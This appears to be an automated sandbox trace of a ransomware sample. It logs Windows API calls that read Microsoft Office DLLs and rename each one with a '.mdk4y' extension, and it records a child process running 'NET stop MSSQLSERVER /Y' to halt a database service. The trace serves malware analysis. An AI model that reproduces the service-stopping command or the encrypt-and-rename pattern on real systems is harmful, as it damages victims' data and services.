QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833622400000) returned 1 [0260.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twcutchr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twcutchr.dll.mdk4y")) returned 1 [0260.998] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.998] AreFileApisANSI () returned 1 [0260.998] GetACP () returned 0x4e4 [0260.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWCUTLIN.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWCUTLIN.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0260.998] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twcutlin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833622900000) returned 1 [0260.999] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1cd80, lpOverlapped=0x0) returned 1 [0261.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833623100000) returned 1 [0261.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833623100000) returned 1 [0261.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twcutlin.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twcutlin.dll.mdk4y")) returned 1 [0261.005] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.005] AreFileApisANSI () returned 1 [0261.005] GetACP () returned 0x4e4 [0261.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWLAY32.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWLAY32.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0261.005] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twlay32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833623600000) returned 1 [0261.006] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x12378, lpOverlapped=0x0) returned 1 [0261.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833628300000) returned 1 [0261.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833628300000) returned 1 [0261.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twlay32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twlay32.dll.mdk4y")) returned 1 [0261.056] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.056] AreFileApisANSI () returned 1 [0261.056] GetACP () returned 0x4e4 [0261.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWORIENT.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWORIENT.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0261.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\tworient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833628800000) returned 1 [0261.058] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6d88, lpOverlapped=0x0) returned 1 [0261.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833631900000) returned 1 [0261.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833632000000) returned 1 [0261.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\tworient.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\tworient.dll.mdk4y")) returned 1 [0261.092] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.092] AreFileApisANSI () returned 1 [0261.092] GetACP () returned 0x4e4 [0261.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWRECC.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWRECC.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0261.092] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrecc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833632300000) returned 1 [0261.094] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa780, lpOverlapped=0x0) returned 1 [0261.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833640100000) returned 1 [0261.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833640100000) returned 1 [0261.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrecc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twrecc.dll.mdk4y")) returned 1 [0261.175] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.175] AreFileApisANSI () returned 1 [0261.175] GetACP () returned 0x4e4 [0261.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWRECE.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWRECE.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0261.175] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrece.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833640600000) returned 1 [0261.177] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xf180, lpOverlapped=0x0) returned 1 [0261.221] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833645100000) returned 1 [0261.221] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833645100000) returned 1 [0261.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrece.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twrece.dll.mdk4y")) returned 1 [0261.223] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.223] AreFileApisANSI () returned 1 [0261.223] GetACP () returned 0x4e4 [0261.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWRECS.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWRECS.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0261.224] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrecs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833645700000) returned 1 [0261.228] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5988, lpOverlapped=0x0) returned 1 [0261.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833652700000) returned 1 [0261.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833652700000) returned 1 [0261.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrecs.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twrecs.dll.mdk4y")) returned 1 [0261.301] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.301] AreFileApisANSI () returned 1 [0261.301] GetACP () returned 0x4e4 [0261.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWSTRUCT.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWSTRUCT.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0261.301] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twstruct.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833653200000) returned 1 [0261.302] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1e798, lpOverlapped=0x0) returned 1 [0261.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833672600000) returned 1 [0261.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833672700000) returned 1 [0261.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twstruct.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\twstruct.dll.mdk4y")) returned 1 [0261.500] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0261.500] AreFileApisANSI () returned 1 [0261.500] GetACP () returned 0x4e4 [0261.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UML.DLL", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="UML.DLLT.DLL", lpUsedDefaultChar=0x37dfd8) returned 7 [0261.500] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0261.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833673200000) returned 1 [0261.502] ReadFile (hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0) Thread: id = 149 os_tid = 0x904 Thread: id = 150 os_tid = 0x940 Thread: id = 166 os_tid = 0xabc Thread: id = 167 os_tid = 0xb00 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x508af000" os_pid = "0x960" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET stop MSSQLSERVER /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 183 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 184 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 185 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 186 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 187 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 188 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 189 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 190 start_va = 0x4a120000 end_va = 0x4a16bfff entry_point = 0x4a120000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 191 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 192 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 193 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 194 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 195 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 196 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 197 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 198 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 199 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 200 start_va = 0x4f0000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 201 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 202 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 203 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 204 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 205 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 206 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 207 start_va = 0x730000 end_va = 0x82ffff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 208 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 209 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 210 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 211 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 212 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 213 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 214 start_va = 0x480000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 215 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 216 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 217 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 218 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 219 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 220 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 221 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 222 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 223 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 224 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 225 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 226 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 227 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 228 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 229 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 230 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 231 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 232 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 233 start_va = 0x830000 end_va = 0x9b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 234 start_va = 0x9c0000 end_va = 0x1dbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 235 start_va = 0x1dc0000 end_va = 0x2102fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 236 start_va = 0x2110000 end_va = 0x23defff entry_point = 0x2110000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 2 os_tid = 0x964 [0034.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32f9c4 | out: lpSystemTimeAsFileTime=0x32f9c4*(dwLowDateTime=0xd69b6000, dwHighDateTime=0x1d4abdd)) [0034.496] GetCurrentProcessId () returned 0x960 [0034.496] GetCurrentThreadId () returned 0x964 [0034.496] GetTickCount () returned 0x192bd [0034.496] QueryPerformanceCounter (in: lpPerformanceCount=0x32f9bc | out: lpPerformanceCount=0x32f9bc*=1810972600000) returned 1 [0034.498] GetModuleHandleA (lpModuleName=0x0) returned 0x4a120000 [0034.498] __set_app_type (_Type=0x1) [0034.498] __p__fmode () returned 0x75ed31f4 [0034.729] __p__commode () returned 0x75ed31fc [0034.729] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1421a6) returned 0x0 [0034.729] __getmainargs (in: _Argc=0x4a144238, _Argv=0x4a144240, _Env=0x4a14423c, _DoWildCard=0, _StartInfo=0x4a144140 | out: _Argc=0x4a144238, _Argv=0x4a144240, _Env=0x4a14423c) returned 0 [0034.730] GetCurrentThreadId () returned 0x964 [0034.730] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x964) returned 0x60 [0034.730] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0034.730] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0034.730] SetThreadUILanguage (LangId=0x0) returned 0x409 [0034.730] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0034.730] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32f954 | out: phkResult=0x32f954*=0x0) returned 0x2 [0034.731] VirtualQuery (in: lpAddress=0x32f98b, lpBuffer=0x32f924, dwLength=0x1c | out: lpBuffer=0x32f924*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.731] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32f924, dwLength=0x1c | out: lpBuffer=0x32f924*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0034.731] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32f924, dwLength=0x1c | out: lpBuffer=0x32f924*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0034.731] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32f924, dwLength=0x1c | out: lpBuffer=0x32f924*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.731] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32f924, dwLength=0x1c | out: lpBuffer=0x32f924*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x150000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c 